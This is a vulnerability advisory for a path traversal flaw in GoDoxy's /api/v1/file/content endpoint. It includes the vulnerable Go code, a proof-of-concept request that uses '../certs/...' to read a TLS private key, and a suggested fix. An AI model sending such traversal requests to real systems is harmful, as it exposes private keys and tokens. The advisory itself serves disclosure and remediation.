Summary

The file content API endpoint at /api/v1/file/content is vulnerable to path traversal. The filename query parameter is passed directly to path.Join(common.ConfigBasePath, filename) where ConfigBasePath = "config" (a relative path). No sanitization or validation is applied beyond checking that the field is non-empty (binding:"required").

An authenticated attacker can use ../ sequences to read or write files outside the intended config/ directory, including TLS private keys, OAuth refresh tokens, and any file accessible to the container's UID.

Root Cause

File: internal/api/v1/file/get.go, lines 68-73:

func (t FileType) GetPath(filename string) string {
    if t == FileTypeMiddleware {
        return path.Join(common.MiddlewareComposeBasePath, filename)
    }
    return path.Join(common.ConfigBasePath, filename)
}

• common.ConfigBasePath = "config" — relative path, not absolute
• path.Join("config", "../certs/key.pem") normalizes to "certs/key.pem" — escaping config/
• No call to strings.HasPrefix, filepath.Rel, or any containment check exists
• The format:"filename" struct tag is an OpenAPI/Swagger annotation only, not enforced by the validator

Proof of Concept

Environment

• GoDoxy v0.27.4 (ghcr.io/yusing/godoxy:latest)
• Authentication enabled with default credentials (admin/password)

Steps to Reproduce

Step 1 — Authenticate:

Step 2 — Read file outside config/ via path traversal:

GET /api/v1/file/content?type=config&filename=../certs/secret-agent-key.pem HTTP/1.1
Host: localhost:8888
Cookie: godoxy_token=<JWT>

HTTP Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Content-Length: 43
Content-Type: application/godoxy+yaml
Expires: 0
Pragma: no-cache

THIS_IS_A_SECRET_PRIVATE_KEY_FOR_AGENT_TLS

Impact

Files accessible via this vulnerability

The PUT /api/v1/file/content endpoint is also affected. While the content must pass YAML schema validation (config or provider format), an attacker can write valid provider YAML files outside config/, potentially injecting malicious route definitions.

Suggested Remediation

Validate that the resolved path remains within the base directory:

func (t FileType) GetPath(filename string) (string, error) {
    var base string
    if t == FileTypeMiddleware {
        base = common.MiddlewareComposeBasePath
    } else {
        base = common.ConfigBasePath
    }

    absBase, _ := filepath.Abs(base)
    resolved, _ := filepath.Abs(filepath.Join(base, filename))

    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path traversal detected: %s", filename)
    }

    return resolved, nil
}